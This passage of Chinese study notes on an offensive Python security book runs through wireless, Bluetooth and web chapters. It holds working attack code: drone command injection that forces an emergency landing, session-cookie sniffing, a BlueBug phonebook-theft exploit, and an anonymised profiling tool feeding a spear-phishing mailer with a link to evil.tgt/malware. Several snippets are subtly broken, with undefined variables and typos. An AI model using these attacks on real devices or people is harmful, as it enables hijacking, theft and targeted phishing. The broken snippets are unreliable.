编写一个完整的库来复制各个层中的信息。注意,每个层中都要忽略掉一些字段,比如不复制表示 IP 包包长的字段,这个可以让 Scapy 自动把这个字段的值计算出来。同样,也不会记录那些存储校验和的字段。 278 | 279 | ```python 280 | from scapy.all import * 281 | def dup_radio(pkt): 282 | r_pkt = pkt.getlayer(RadioTap) 283 | version = r_pkt.version 284 | pad = r_pkt.pad 285 | present = r_pkt.present 286 | notdecoded = r_pkt.notdecoded 287 | n_pkt = RadioTap(version=version, pad=pad, present=present, notdecoded=notdecoded) 288 | return n_pkt 289 | 290 | def dup_dot11(pkt): 291 | subtype = d_pkt.subtype 292 | copy_type = d_pkt.type 293 | proto = d_pkt.proto 294 | fc_field = d_pkt.FCfield 295 | copy_id = d_pkt.ID 296 | addr1 = d_pkt.addr1 297 | addr2 = d_pkt.addr2 298 | addr3 = d_pkt.addr3 299 | sc = d_pkt.SC 300 | addr4 = d_pkt.addr4 301 | n_pkt = Dot11(subtype=subtype, type=copy_type, proto=proto, fc_field=...) 302 | return n_pkt 303 | 304 | def dup_snap(pkt): 305 | s_pkt = pkt.getlayer(SNAP) 306 | oui = s_pkt.OUI 307 | code = s_pkt.code 308 | n_pkt = SNAP(OUI=oui, code=code) 309 | return n_pkt 310 | 311 | def dup_llc(pkt): 312 | l_pkt = pkt.getlayer(LLC) 313 | dsap = l_pkt.dsap 314 | ssap = l_pkt.ssap 315 | ctrl = l_pkt.ctrl 316 | n_pkt = LLC(dsap=dsap, ssap=ssap, ctrl=ctrl) 317 | return n_pkt 318 | 319 | def dup_ip(pkt): 320 | i_pkt = pkt.getlayer(IP) 321 | version = i_pkt.version 322 | tos = i_pkt.tos 323 | copy_id = i_pkt.id 324 | flags = i_pkt.flags 325 | ttl = i_pkt.ttl 326 | proto = i_pkt.proto 327 | src = i_pkt.src 328 | dst = i_pkt.dst 329 | options = i_pkt.options 330 | n_pkt = IP(version=version, id=copy_id, ...) 331 | return n_pkt 332 | 333 | def dup_udp(pkt): 334 | u_pkt = pkt.getlayer(UDP) 335 | sport = u_pkt.sport 336 | dport = d_pkt.dport 337 | n_pkt = UDP(sport=sport, dport=dport) 338 | return n_pkt 339 | ``` 340 | 341 | 接下来拼凑在一起: 342 | 343 | ```python 344 | def inject_cmd(self, cmd): 345 | radio = dup.dup_radio(self.cur_pkt) 346 | dot11 = dup.dup_dot11(self.cur_pkt) 347 | snap = dup.dup_snap(self.cur_pkt) 348 | llc = dup.dup_llc(self.cur_pkt) 349 | ip = dup.dup_ip(self.cur_pkt) 350 | udp = dup.dup_udp(self.cur_pkt) 351 | raw = Raw(load=cmd) 352 | inject_pkt = radio / dot11 / llc / snap / ip / udp / raw 353 | sendp(inject_pkt) 354 | ``` 355 | 356 | 紧急迫降的指定对控制无人机来说是一条非常重要的指令。这个指令可以迫使无人机关闭引擎,并立即迫降下来。为了发出这条指令,可以使用序列号是当前的序列号再加上 100。接下来要发出指令 `AT*COMWDG=$SEQ\r`。这条指令的作用是把通信中的计数器重置成我们新设置的顺序值。之后无人机将会忽略之前的或者顺序号不匹配的指令。最后,再发送紧急迫降指令 357 | 358 | ### 完成攻击,使无人机紧急迫降 359 | 360 | ```python 361 | def emergency_land(self): 362 | spoof_seq = self.seq + 100 363 | watch = "AT*COMWDG={}\r".format(spoof_seq) 364 | to_cmd = "AT*REF={},{}\r".format(spoof_seq + 1, EMER) 365 | self.inject_cmd(watch) 366 | self.inject_cmd(to_cmd) 367 | 368 | def take_off(self): 369 | spoof_seq = self.seq + 100 370 | watch = "AT*COMWDG={}\r".format(spoof_seq) 371 | to_cmd = "AT*REF={},{}\r".format(spoof_seq + 1, TAKEOFF) 372 | self.inject_cmd(watch) 373 | self.inject_cmd(to_cmd) 374 | ``` 375 | 376 | ## 探测火绵羊 377 | 378 | 一款叫火绵羊(FireSheep)的工具,提供了一个简单的双击界面,可以远程接管 Facebook、Twitter、谷歌和其他大量社交媒介中毫无戒心的用户帐户。火绵羊工具会被动地监听无线网卡上由这些 Web 站点提供的 cookie。如果用户连接了不安全的无线网络,也没有使用诸如 HTTPS 之类的服务端控制措施来保护它的会话,火绵羊就会截获这些 cookie 供攻击者再次使用它们。 379 | 380 | 如果想截取特定会话中的 cookie,供重放的话,也有一个易用的接口方便编写定制的处理代码。下面这段处理代码是针对 Wordpress 的 Cookie 的 381 | 382 | ```javascript 383 | register({ 384 | name: "Wordpress", 385 | matchPacket: function(packet) { 386 | for (varcookieName in packet.coookies) { 387 | if (cookieName.match0) { 388 | return true; 389 | } 390 | } 391 | }, 392 | 393 | processPacket: function () { 394 | this.siteUrl += "wp-admin/" 395 | for (varcookieName in this.firstPacket.cookies) { 396 | if (cookieName.match(/^wordpress_[0-9a-fA-F]{32}$/)) { 397 | this.sessionId = this.firstPacket.cookies[cookieName]; 398 | break; 399 | } 400 | } 401 | }, 402 | 403 | identifyUser: function () { 404 | var resp = this.httpGet(this.siteUrl); 405 | this.userName = resp.body.querySelectorAll("#user_info a")[0].textContent; 406 | this.siteName = "Wordpress (" + this.firstPacket.host + ")"; 407 | } 408 | }); 409 | ``` 410 | 411 | ### 理解 WordPress 的会话 cookies 412 | 413 | 攻击者在火狐 3.6.24 上运行 Firesheep 工具包,可以发现一些类似的字符串通过无线网络以不加密的方式被发送出来。 414 | 415 | ### 牧羊人——找出 Wordpress Cookie 重放攻击 416 | 417 | 编写一个 Python 脚本解析含有这些会话 cookie 的 Wordpress HTTP 会话。 418 | 419 | ```python 420 | import re 421 | from scapy.all import * 422 | def fire_catcher(pkt): 423 | raw = pkt.sprintf("%Raw.load%") 424 | r = re.findall("wordpress_[0-9a-fA-F]{32}", raw) 425 | if r and "Set" not in raw: 426 | print("{}>{} Cookie: {}".format(pkt.getlayer(IP).src, pkt.getlayer(IP).dst, r[0])) 427 | conf.iface = "mon0" 428 | sniff(filter="tcp port 80", prn=fire_catcher) 429 | ``` 430 | 431 | 为了找出使用火绵羊的黑客,要确认的是攻击者在不同的 IP 地址上重复使用这些 cookie 值。为了检测出这一情况,要修改之前的脚本。 432 | 433 | ```python 434 | import re 435 | import optparse 436 | from scapy.all import * 437 | cookie_table = {} 438 | def fire_catcher(pkt): 439 | raw = pkt.sprintf("%Raw.load%") 440 | r = re.findall("wordpress_[0-9a-fA-F]{32}", raw) 441 | if r and "Set" not in raw: 442 | if r[0] not in cookie_table.keys(): 443 | cookie_table[r[0]] = pkt.getlayer(IP).src 444 | print("[+] Detected and indexed cookie.") 445 | elif cookie_table[r[0]] != pkt.getlayer(IP).src: 446 | print("[*] Detected Conflict for {}".format(r[0])) 447 | print("Victim = {}".format(cookie_table[r[0]])) 448 | print("Attacker = {}".format(pkt.getlayer(IP).src)) 449 | 450 | def main(): 451 | parser = optparse.OptionParser("usage %prog -i") 452 | parser.add_option("-i", dest="interface", type="string", help="specify interface to listen on") 453 | options, args = parser.parse_args() 454 | if options.interface == None: 455 | print(parser.usage) 456 | exit(-1) 457 | else: 458 | conf.iface = options.interface 459 | try: 460 | sniff(filter="tcp port 80", prn=fire_catcher) 461 | except KeyboardInterrupt: 462 | exit(0) 463 | ``` 464 | 465 | ### 用 Python 搜寻蓝牙 466 | 467 | 为了能与蓝牙资源进行交互操作,需要 PyBluez 这个 Python 模块。该模块扩展了用于使用蓝牙资源的 Bluez 库的功能。注意,当调用 `discover_devices()` 之后就会把附近所有当前处于“可被发现”状态下的蓝牙设备的 MAC 地址放在一个列表中返回来。`lookup_name()` 可以将各个蓝牙设备的 MAC 地址转换成方便阅读的字符串。 468 | 469 | ```python 470 | from bluetooth import * 471 | dev_list = discover_devices() 472 | for device in dev_list: 473 | name = str(lookup_name(device)) 474 | print("[+] Found Bluetooth Device {}".format(str(name))) 475 | print("[+] MAC address: {}".format(str(device))) 476 | ``` 477 | 478 | 创建一个无限循环来检测: 479 | 480 | ```python 481 | import time 482 | from bluetooth import * 483 | already_found = list() 484 | def find_devs(): 485 | found_devs = discover_devices(lookup_names=True) 486 | for addr, name in found_devs: 487 | if addr not in already_found: 488 | print("[*] Found Bluetooth Device: {}".format(name)) 489 | print("[+] MAC address: {}".format(addr)) 490 | already_found.append(addr) 491 | 492 | while True: 493 | find_devs() 494 | time.sleep(5) 495 | ``` 496 | 497 | ### 截取无限流量,查找(隐藏的)蓝牙设备地址 498 | 499 | 在 iPhone 里,把无线网卡的 MAC 地址加 1,就得到了这台 iPhone 的蓝牙 MAC。由于 802.11 无线协议在第 2 层中没有使用能够保护 MAC 地址的措施,所以可以很方便地嗅探到它,然后使用该信息来计算蓝牙的 MAC 地址。 500 | 501 | 来设置一个嗅探无线网卡的 MAC 地址。注意,只要 MAC 地址的前三个十六进制数 MAC 地址的前三个八位字节的 MAC 地址。前三个十六进制数是一个 OUI(Organizational Unique Identifier,组织唯一标识符),它表示的是设备制造商,你可以查询 OUI 数据库获取进一步的信息。 502 | 503 | ```python 504 | from scapy.all import * 505 | def wifi_print(pkt): 506 | iPhone_OUI = "d0:23:db" 507 | if pkt.haslayer(Dot11): 508 | wifi_mac = pkt.getlayer(Dot11).addr2 509 | if iPhone_OUI == wifi_mac[:8]: 510 | print("[*] Detected iPhone MAC: {}".format(wifi_mac)) 511 | conf.iface = "mon0" 512 | sniff(prn=wifi_print) 513 | ``` 514 | 515 | 有了 MAC 地址后,攻击者就可以发起一个设备名称查询来确认这个设备是否真的存在。即便是在“不可被发现”模式下,蓝牙设备仍会响应设备名称的查询请求。 516 | 517 | ```python 518 | def check_bluetooth(bt_addr): 519 | bt_name = lookup_name(bt_addr) 520 | if bt_name: 521 | print("[+] Detected Bluetooth Device: {}".format(bt_name)) 522 | else: 523 | print("[-] Failed to Detect Bluetooth Device.") 524 | ``` 525 | 526 | ### 扫描蓝牙 RFCOMM 信道 527 | 528 | 2004 年的 CeBIT 峰会上,H 和 L 演示了一个他们称为 BlueBug 的蓝牙漏洞(Herfurt,2004)。该漏洞针对的是蓝牙的 RFCOMM 传输协议。RFCOMM 通过蓝牙 L2CAP 协议模拟了 RS232 串行端口。从本质上讲,这会与另一台设备建立一个蓝牙连接,模拟一条普通的串行线缆,使用户能够(在另一台设备上)通过蓝牙打电话、发送短信、读取手机电话簿中的记录,以及转接电话或上网 529 | 530 | 虽然 RFCOMM 确实也能建立需要认证的加密连接,但厂商有时会忽略掉这一功能,允许(其他)未经认证的用户与设备建立连接。 531 | 532 | 下面将编写一个扫描器,找出允许未经认证建立 RFCOMM 通道的设备 533 | 534 | ```python 535 | from bluetooth import * 536 | def rf_comm_con(addr, port): 537 | sock = BluetoothSocket(RFCOMM) 538 | try: 539 | sock.connect((addr, port)) 540 | print("[+] RFCOMM Port {} open".format(port)) 541 | sock.close() 542 | except Exception as e: 543 | print("[-] RFCOMM Port {} closed".format(port)) 544 | for port in range(1, 30): 545 | rf_comm_con("00:16:38:DE:AD:11", port) 546 | ``` 547 | 548 | 通过这个脚本可以扫描出开放的 RFCOMM 端口,但不能判断这些端口提供的都是什么服务。需要使用蓝牙服务发现协议(Bluetooth Service Discovery Protocol)来实现 549 | 550 | ### 使用蓝牙服务发现协议 551 | 552 | 蓝牙服务发现协议(Service Discovery Protocol,SDP)提供了一种简便方法,用于描述和枚举蓝牙配置文件的类型以及设备提供的服务。设备的 SDP 配置文件中描述了运行在各个蓝牙协议和端口上的服务。 553 | 554 | ```python 555 | from bluetooth import * 556 | def sdp_browse(addr): 557 | services = find_service(address=addr) 558 | for service in services: 559 | name = service["name"] 560 | proto = service["protocol"] 561 | port = str(service["port"]) 562 | print("[+] Found {} on {}:{}".format(name, proto, port)) 563 | sdp_browse("00:16:38:DE:AD:11") 564 | ``` 565 | 566 | 调用函数 `find_service()` 之后返回 record 数组,目标蓝牙设备上的每个服务都对应数组中的一个 record,每个 record 中记录了主机、名称、描述、提供者(provider)、协议、端口、服务类、配置文件和服务 ID。 567 | 568 | 对象交换(Object Exchange,OBEX)服务允许我们能像使用匿名 FTP 那样匿名地向一个系统中上传(push)和下载(pull)文件 569 | 570 | ### 用 Python ObexFTP 控制打印机 571 | 572 | 用 ObexFTP 连接到打印机并上传一个图像文件 573 | 574 | ```python 575 | import obexftp 576 | try: 577 | bt_printer = obexftp.client(obexftp.BLUETOOTH) 578 | bt_printer.connect("00:16:38:DE:AD:11", 2) 579 | bt_printer.put_file("/tmp/ninja.jpg") 580 | print("[+] Printed Ninja Image.") 581 | except: 582 | print("[-] Failed to print Ninja Image.") 583 | ``` 584 | 585 | ### 用 Python 利用手机中的 BlueBug 漏洞 586 | 587 | BlueBug 会与手机建立一个不需要经过认证的不安全连接,并通过这一连接窃取手机中的信息或直接向手机发送命令。这种攻击通过 RFCOMM 信道发送 AT 命令的方式,远程控制设备。这使得攻击者能读/发短信息、收集个人信息,或强制拨打电话号码。 588 | 589 | ```python 590 | import bluetooth 591 | target_phone = "AA:BB:CC:DD:EE:FF" 592 | port = 17 593 | phone_sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM) 594 | phone_sock.connect((target_phone, port)) 595 | for contact in range(1, 5): 596 | at_cmd = "AT+CPBR={}\n".format(contact) 597 | phone_sock.send(at_cmd) 598 | result = client_sock.recv(1024) 599 | print("[+] {}: {}".format(contact, result)) 600 | sock.close() 601 | ``` 602 | 603 | -------------------------------------------------------------------------------- /第6章用Python刺探网络.md: -------------------------------------------------------------------------------- 1 | # 第 6 章 用 Python 刺探网络 2 | 3 | ## 使用 Mechanize 库上网 4 | 5 | Mechanize 中的主要类(Browser)允许我们对浏览器中的任何内容进行操作。 6 | 7 | ```python 8 | import mechanize 9 | def view_page(url): 10 | browser = mechanize.Browser() 11 | page = browser.open(url) 12 | source_code = page.read() 13 | print(source_code) 14 | view_page("http://www.syngress.com/") 15 | ``` 16 | 17 | Mechanize 提供了状态化编程(stateful programming)和方便的 HTML 表单填写,便于解析和处理诸如 “HTTP-Equiv” 和刷新之类的命令。此外,它还自带了不少能让你保持匿名状态的函数。 18 | 19 | ### 匿名性——使用代理服务器、User-Agent 及 Cookie 20 | 21 | 网站有多种方法能够唯一标识网页的访问者。Web 服务器记录发起网页请求的 IP 是标识用户的第一种方式。Python 也可以连接代理服务器,这能给程序增加匿名性。Mechanize 的 Browser 类中有一个属性,即程序能用它指定一个代理服务器。MyCurdy 在 [http://rmccurdy.com/scripts/proxy/good.txt](http://rmccurdy.com/scripts/proxy/good.txt) 中维护着一个可用代理的列表。 22 | 23 | ```python 24 | import mechanize 25 | def test_proxy(url, proxy): 26 | browser = mechanize.Browser() 27 | browser.set_proxies(proxy) 28 | page = browser.open(url) 29 | source_code = page.read() 30 | print(source_code) 31 | url = "http://ip.nefsc.noaa.gov/" 32 | hide_me_proxy = {"http": "216.155.139.115:3128"} 33 | test_proxy(url, hide_me_proxy) 34 | ``` 35 | 36 | 浏览器现在有一层匿名性了,但网站还会使用浏览器提供的 `user-agent` 字符串作为唯一标识用户的另一种方法。在正常情况下,`user-agent` 字符串可以让网站获知用户使用的是哪种浏览器这一重要信息,同时这个字段还记录了内核版本、浏览器版本,以及其他一些关于用户的详细信息。恶意网站利用这些信息根据不同的浏览器版本发送不同的漏洞利用代码,而其他一些网站则利用这些信息区分那些躲在 NAT 后面的局域网里的永不。 37 | 38 | Mechanize 能像添加代理那样,轻松修改 `user-agent`,[网站](http://www.useragentstring.com/pages/useragentstring.php) 提供了大量有效的 `user-agent` 字符串。 39 | 40 | ```python 41 | import mechanize 42 | def test_user_agent(url, user_agent): 43 | browser = mechanize.Browser() 44 | browser.addheaders = user_agent 45 | page = browser.open(url) 46 | source_code = page.read() 47 | print(source_code) 48 | url = "http://whatismyuseragent.dotdoh.com/" 49 | user_agent = [("User-agent", "Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) ...")] 50 | test_user_agent(url,user_agnet) 51 | ``` 52 | 53 | 网站还会给 Web 浏览器发送 cookie,cookie 中记录了一些能唯一标识用户的信息,网站用它来验证用户之前是否访问/登录过该网站。为了防止这种情况发生,在执行匿名操作之前一定要清除浏览器中的 cookie。有一个库名为 cookielib,其中含有几个不同的能用来处理 cookie 的容器。这里使用的是一个能把各个不同的 cookie 保存到磁盘中的容器。该功能允许用户在收到 cookie 之后,不必把它返回给网站,并能查看其中的内容 54 | 55 | ```python 56 | import mechanize 57 | import cookielib 58 | def print_cookies(url): 59 | browser = mechanize.Browser() 60 | cookie_jar = cookielib.LWPCookieJar() 61 | browser.set_cookiejar(cookie_jar) 62 | page = browser.open(url) 63 | for cookie in cookie_jar: 64 | print(cookie) 65 | url = "http://www.syngress.com/" 66 | print_cookies(url) 67 | ``` 68 | 69 | ### 把代码集成在 Python 类的 AnonBrowser 中 70 | 71 | ```python 72 | import mechanize, cookielib, random 73 | class AnonBrowser(mechanize.Browser): 74 | def __init__(self, proxies=[], user_agents=[]): 75 | mechanize.Browser.__init__(self) 76 | self.set_handle_robots(False) 77 | self.proxies = proxies 78 | self.user_agents = user_agents + ["Mozilla/4.0 FireFox/6.01", "ExactSearch", ...] 79 | self.cookie_jar = cookielib.LWPCookieJar() 80 | self.set_cookiejar(self.cookie_jar) 81 | self.anonymize() 82 | 83 | def clear_cookies(self): 84 | self.cookie_jar = cookielib.LWPCookieJar() 85 | self.set_cookiejar(self.cookie_jar) 86 | 87 | def change_user_agent(self): 88 | index = random.randrange(0, len(self.user_agents)) 89 | self.addheaders = [("User-agent", (self.user_agents[index]))] 90 | 91 | def change_proxy(self): 92 | if self.proxies: 93 | index = random.randrange(0, len(self.proxies)) 94 | self.set_proxies({"http": self.proxies[index]}) 95 | 96 | def anonymize(self, sleep=False): 97 | self.clear_cookies() 98 | self.change_user_agent() 99 | self.change_proxy() 100 | if sleep: 101 | time.sleep(60) 102 | ``` 103 | 104 | anoymize 函数还有一个能让进程休眠 60s 的参数,这会增加使用了匿名化方法前后两次请求在服务器日志中出现的时间间隔 105 | 106 | ## 用 AnonBrowser 抓取更多的 Web 页面 107 | 108 | ## 用 Beautiful Soup 解析 href 链接 109 | 110 | 若要把目标网页上的链接全都分析出来,有两种选择:一种是使用正则表达式对 HTML 代码做搜索和替换操作,另一种是使用一款名为 BeautifulSoup 的强大的第三方库。 111 | 112 | ```python 113 | from AnonBrowser import * 114 | from BeautifulSoup import BeautifulSoup 115 | import os 116 | import optparser 117 | import re 118 | def print_links(url): 119 | ab = AnonBrowser() 120 | ab.anonymize() 121 | page = ab.open(url) 122 | html = page.read() 123 | try: 124 | print("[+] Printing Links From Regex.") 125 | link_finder = re.compile('href="(.*?)"') 126 | links = link_finder.findall(html) 127 | for link in links: 128 | print(link) 129 | except: 130 | pass 131 | try: 132 | print("[+] Printing Links From BeautifulSoup.") 133 | soup = BeautifulSoup(html) 134 | links = soup.findAll(name='a') 135 | for link in links: 136 | if link.has_key('href'): 137 | print(link["href"]) 138 | except: 139 | pass 140 | ``` 141 | 142 | ### 用 BeautifulSoup 映射图像 143 | 144 | BeautifulSoup 允许我们能在任何 HTML 对象中找出所有的 “IMG” 标签,然后 browser 对象就能下载图片,并将其以二进制文件的形式保存到本地硬盘中。 145 | 146 | ## 研究、调查、发现 147 | 148 | ### 用 Python 与谷歌 API 交互 149 | 150 | 谷歌提供了一个应用程序编程接口(API),它让程序员能执行查询操作,获取结果,而不必使用和精通“正常”的谷歌页面。目前谷歌有两个 API,一个简化版的和一个完整版的,使用完整版的 API 需要拥有开发者密钥。简化版的 API 每天仍能进行相当数量的查询,每次搜索能得到约 30 个结果。 151 | 152 | ```python 153 | import urllib 154 | from AnonBrowser import * 155 | def google(search_term): 156 | ab = AnonBrowser() 157 | search_term = urllib.quote_plus(search_term) 158 | response = ab.open("http://ajax.googleapis.com/ajax/services/searchweb?v=1.0&q={}".format(search_term)) 159 | print(response.read()) 160 | google("Boondock Saint") 161 | ``` 162 | 163 | 响应的数据是 JSON 格式的 164 | 165 | ```python 166 | import json 167 | json.load(response) 168 | ``` 169 | 170 | 来编写一个不带任何额外方法的类保存数据,这将使访问各个字段变得更加容易,而不必专门为获取信息而特意去临时解析三层词典。 171 | 172 | ```python 173 | import json 174 | import urllib 175 | import optparse 176 | from AnonBrowser import * 177 | class GoogleResult: 178 | def __init__(self, title, text, url): 179 | self.title = title 180 | self.text = text 181 | self.url = url 182 | def __repr__(self): 183 | return self.title 184 | 185 | def google(search_term): 186 | ab = AnonBrowser() 187 | search_term = urllib.quote_plus(search_term) 188 | response = ab.open("...") 189 | objects = json.load(response) 190 | results = list() 191 | for result in objects["responseData"]["results"]: 192 | url = result["url"] 193 | title = result["titleNoFormatting"] 194 | text = result["content"] 195 | new_gr = GoogleResult(title, text, url) 196 | results.append(new_gr) 197 | return results 198 | ``` 199 | 200 | ### 用 Python 解析 Tweets 个人主页 201 | 202 | 和谷歌一样,Twitter 也给开发者提供了 API。相关文档位于[网址](https://dev.twitter.com/docs) 203 | 204 | ```python 205 | import json, urllib 206 | from AnonBrowser import * 207 | class ReconPerson: 208 | def __init__(self, first_name, last_name, job='', social_media={}): 209 | self.first_name = first_name 210 | self.last_name = last_name 211 | self.job = job 212 | self.social_media = social_media 213 | 214 | def __repr__(self): 215 | return "{} {} has job {}".format(self.first_name, self.last_name, self.job) 216 | 217 | def get_social(self, media_name): 218 | if self.social_media.has_key(media_name): 219 | return self.social_media[media_name] 220 | return None 221 | 222 | def query_twitter(self, query): 223 | query = urllib.quote_plus(query) 224 | results = list() 225 | browser = AnonBrowser() 226 | response = browser.open("http://search.twitter.com/search.json?q={}".format(query)) 227 | json_objects = json.load(response) 228 | for result in json_objects["results"]: 229 | new_result = dict() 230 | new_result["name"] = result["name"] 231 | new_result["geo"] = result["geo"] 232 | new_result["tweet"] = result["text"] 233 | results.append(new_result) 234 | return results 235 | ap = ReconPerson("Boondock", "Saint") 236 | print(ap.query_twitter("from:username since:2010-01-01 include:retweets")) 237 | ``` 238 | 239 | ### 从推文中提取地理位置信息 240 | 241 | 许多 Twitter 用户遵循一个公式来撰写他们的推文与世界分享。通常情况下,这个公式为:【该推文是直接推给哪些推特用户的】+【推文的正文,其中常会含有简短的 URL】+【hash 标签】。使用恶意的分割法时,这个公式应该写成:【关注该用户的人,他们信任来自该用户的通信的概率会比较大】+【这个人感兴趣的链接或主题,他可能会对该话题中的其他内容感兴趣】+【这个人可能想要进一步了解的大致方向或主题】。 242 | 243 | ```python 244 | import json 245 | import urllib 246 | import optparse 247 | from AnonBrowser import * 248 | def get_tweets(handle): 249 | query = urllib.quote_plus("from:{} since:2009-01-01 include:retweets".format(handle)) 250 | tweets = list() 251 | browser = AnonBrowser() 252 | browser.anonymize() 253 | response = browser.open("http://search.twitter.com/search.json?q={}".format(query)) 254 | json_objects = json.load(response) 255 | for result in json_objects["results"]: 256 | new_result = {} 257 | new_result["from_user"] = result["from_user_name"] 258 | new_result["geo"] = result["geo"] 259 | new_result["tweet"] = result["text"] 260 | tweets.append(new_result) 261 | return tweets 262 | 263 | def load_cities(city_file): 264 | cities = list() 265 | for line in open(city_file).readlines(): 266 | city = line.split("\r\n").lower() 267 | cities.append(city) 268 | return cities 269 | 270 | def twitter_locate(tweets, cities): 271 | locations = list() 272 | loc_cnt = 0 273 | city_cnt = 0 274 | tweets_text = str() 275 | for tweet in tweets: 276 | if tweet["geo"] != None: 277 | locations.append(tweet["geo"]) 278 | loc_cnt += 1 279 | tweets_text += tweet["tweet"].lower() 280 | for city in cities: 281 | if city in tweets_text: 282 | locations.append(city) 283 | city_cnt += 1 284 | print("[+] Found {} locations via Twitter API and {} locations from text search.".format(loc_cnt, city_cnt)) 285 | ``` 286 | 287 | ### 用正则表达式解析 Twitter 用户的兴趣爱好 288 | 289 | ```python 290 | def find_interests(tweets): 291 | interests = dict() 292 | interests["links"] = list() 293 | interests["users"] = list() 294 | interests["hashtags"] = list() 295 | for tweet in tweets: 296 | text = tweet["tweet"] 297 | links = re.compile('(http.*?)\Z|(http.*?) ').findall(text) 298 | for link in links: 299 | if link[0]: 300 | link = link[0] 301 | elif link[1]: 302 | link = link[1] 303 | else: 304 | continue 305 | try: 306 | response = urllib2.urlopen(link) 307 | full_link = response.url 308 | interests["links"].append(full_link) 309 | except: 310 | pass 311 | interests["users"] += re.compile("(@\w+)").findall(text) 312 | interests["hashtags"] += re.compile("(#\w+)").findall(text) 313 | interests["users"].sort() 314 | interests["hashtags"].sort() 315 | interests["links"].sort() 316 | return interests 317 | ``` 318 | 319 | 由于推文的字数限制,大多数 URL 会使用各个服务商提供的短网址。这些链接里没什么信息量,因为他们可以指向任何地址。为了把短网址转成正常的 URL,可以用 urllib2 打开它们,在脚本打开页面后,urllib 可以获取到完整的 URL 320 | 321 | ```python 322 | def find_interests(self): 323 | interests = dict() 324 | interests["links"] = list() 325 | interests["users"] = list() 326 | interests["hashtags"] = list() 327 | for tweet in self.tweets: 328 | text = tweet["tweet"] 329 | links = re.compile("(http.*?)\Z|(http.*?) ").findall(text) 330 | for link in links: 331 | if link[0]: 332 | link = link[0] 333 | elif link[1]: 334 | link = link[1] 335 | else: 336 | continue 337 | try: 338 | response = urllib2.urlopen(link) 339 | full_link = response.url 340 | interests["links"].append(full_link) 341 | except: 342 | pass 343 | interests["users"] += re.compile("(@\w+)").findall(text) 344 | interests["hashtags"] += re.compile("(#\w+)").findall(text) 345 | interests["users"].sort() 346 | interests["hashtags"].sort() 347 | interests["links"].sort() 348 | return interests 349 | ``` 350 | 351 | ## 匿名电子邮件 352 | 353 | 相对于获取一个永久性电子邮箱,使用一次性电子邮箱也是另一个很好的选项。Ten Minute Mail 提供的就是这样一种一次性电子邮箱。攻击者可以使用这种很难被追踪的电子邮件账户去创建社交网站账号。 354 | 355 | ## 批量社工 356 | 357 | ### 使用 smtplib 给目标对象发邮件 358 | 359 | 正常发送邮件的过程包括打开邮件客户端,单击相应的选项,然后单击新建,最后单击发送。在电脑屏幕后,邮件客户端程序会连接到服务器,有时还需要登录,并提交详细的信息——发件人、收件人和其他必要的数据。 360 | 361 | ```python 362 | import smtplib 363 | from email.mime.text import MIMEText 364 | def send_mail(user, pwd, to, subject, text): 365 | msg = MIMEText(text) 366 | msg["From"] = user 367 | msg["To"] = to 368 | msg["Subject"] = subject 369 | try: 370 | smtp_server = smptlib.SMTP("smtp.gmail.com", 587) 371 | print("[+] Connecting To Mail Server.") 372 | smtp_server.ehlo() 373 | print("[+] Starting Encrypted Session.") 374 | smtp_server.starttls() 375 | smtp_server.ehlo() 376 | print("[+] Logging Into Mail Server.") 377 | smtp_server.login(user, pwd) 378 | print("[+] Seding Mail.") 379 | smtp_server.sendmail(user, to, msg.as_string()) 380 | smtp_server.close() 381 | print("[+] Mail Sent Successfully.") 382 | except: 383 | print("[-] Seding Mail Failed.") 384 | 385 | user = "username" 386 | pwd = "password" 387 | send_mail(user, pwd, "target@target.target", "Re: Important", "Test Message") 388 | ``` 389 | 390 | 不过许多电子邮件服务器是不允许转发邮件的,所以只能将邮件传递到指定的地址。本地电子邮件服务器可以被设为允许转发邮件,或允许转发来自网上的邮件,这是它会把来自任意地址的电子邮件转发的任意地址中——即使邮件地址的格式都不对也没关系。伪造发信地址是关键,使用邮件客户端脚本,再加上一个允许转发邮件的服务器。 391 | 392 | ### 用 smtplib 进行网络钓鱼 393 | 394 | 为了降低被识破的概率,只生成一段非常简单的含有恶意代码的文本,把它作为邮件的正文。程序会根据它所拥有的数据,随机生成文本。具体步骤是:选择一个虚拟的发信人电子邮箱地址,指定一个主题,生成正文文本,然后发送电子邮件。 395 | 396 | 脚本利用目标对象留在 Twitter 中可以公开访问的信息对他进行攻击。根据它会找到关于目标对象的地理位置信息、@过的用户、hash 标签以及链接,脚本就会生成和发送一个带有恶意链接的电子邮件,等待目标对象去点击。 397 | 398 | ```python 399 | import smtplib 400 | import optparse 401 | from email.mime.text import MIMEText 402 | from twitterCLass import * 403 | from random import choice 404 | def send_main(): 405 | pass 406 | 407 | def main(): 408 | parser = optparse.OptionParser("usage%prog -u -t -l -p ") 409 | parser.add_option("-u", dest="handle", type="string", help="specify twitter handle") 410 | parser.add_option("-t", dest="tgt", type="string", help="specify target email") 411 | parser.add_option("-l", dest="user", type="string", help="specify gmail login") 412 | parser.add_option("-p", dest="pwd", type="string", help="speicfy gmail password") 413 | options, args = parser.parse_args() 414 | handle = options.handle 415 | tgt = options.tgt 416 | user = options.user 417 | pwd = options.pwd 418 | if handle == None or tgt == None or user == None or pwd == None: 419 | print(parser.usage) 420 | exit(-1) 421 | print("[+] Fetching tweets from: {}".format(handle)) 422 | spam_tgt = ReconPerson(handle) 423 | spam_tgt.get_tweets() 424 | print("[+] Fetching interests from: {}".format(handle)) 425 | interests = spam_tgt.find_interests() 426 | print("[+] Fetching location information from: {}".format(handle)) 427 | location = spam_tgt.twitter_locate("mlb-cities.txt") 428 | spam_msg = "Dear {},".format(tgt) 429 | if location != None: 430 | rand_loc = choice(location) 431 | spam_msg += " Its me from {}.".format(rand_loc) 432 | if interests["users"] != None: 433 | rand_user = choice(interests["users"]) 434 | spam_msg += " {} said to say hello.".format(rand_user) 435 | if interests["hashtags"] != None: 436 | rand_hash = choice(interests["hashtags"]) 437 | spam_msg += " Did you see all the fuss about {}?".format(randHash) 438 | if interests["links"] != None: 439 | rand_link = choice(interests["links"]) 440 | spam_msg += " I really liked your link to: {}.".format(rand_link) 441 | spam_msg += " Check out my link to http://evil.tgt/malware" 442 | print("[+] Sending Msg: {}".format(spam_msg)) 443 | send_main(user, pwd, tgt, "Re: Important", spam_msg) 444 | ``` 445 | 446 | -------------------------------------------------------------------------------- /第7章用Python实现免杀.md: -------------------------------------------------------------------------------- 1 | # 第 7 章 用 Python 实现免杀 2 | 3 | 被命名为“火焰”(Flame)的恶意软件,在用被称为 Beetlejuice、Microbe、Frog、Snack 和 Gator 的 Lua 